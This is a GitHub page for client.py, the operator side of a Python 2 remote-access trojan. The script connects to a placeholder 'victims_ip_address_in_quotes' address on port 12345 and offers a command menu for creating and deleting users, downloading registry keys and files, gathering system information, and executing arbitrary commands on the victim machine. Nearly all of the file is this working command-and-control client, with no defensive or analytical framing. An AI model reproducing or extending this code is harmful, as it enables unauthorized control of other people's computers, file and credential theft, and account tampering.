-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathclient.py
72 lines (56 loc) · 1.93 KB
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import socket, struct
from ctypes import *
def recv_data(sock):
data_len, = struct.unpack("!I",sock.recv(4))
return sock.recv(data_len)
def send_data(sock,data):
data_len = len(data)
sock.send(struct.pack("!I",data_len))
sock.send(data)
return
def main():
command_list = ["CU" , "DU" , "DRK", "DF" , "GI" , "EC" ]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((victims_ip_address_in_quotes, 12345))
while True:
print "COMMANDS:"
print "CU - Create User"
print "DU - Delete User"
print "DRK - Download Registry Key"
print "DF - Download File"
print "GI - Gather Information"
print "EC - Execute Command"
cmd = raw_input(recv_data(s))
if cmd == "CU":
send_data(s,cmd)
send_data(s,raw_input(recv_data(s)))
send_data(s,raw_input(recv_data(s)))
elif cmd == "DU":
send_data(s,cmd)
send_data(s,raw_input(recv_data(s)))
elif cmd == "DRK":
send_data(s,cmd)
send_data(s,raw_input(recv_data(s)))
send_data(s,raw_input(recv_data(s)))
data = recv_data(s)
while data != "DATA_COMPLETE":
print data
data = recv_data(s)
elif cmd == "DF":
send_data(s,cmd)
print recv_data(s)
send_data(s,raw_input())
print recv_data(s)
elif cmd == "GI":
send_data(s,cmd)
send_data(s,raw_input(recv_data(s)))
print recv_data(s)
elif cmd == "EC":
send_data(s,cmd)
print recv_data(s)
send_data(s,raw_input())
else:
print "INVALID\n\n"
send_data(s,'INVALID')
continue
main()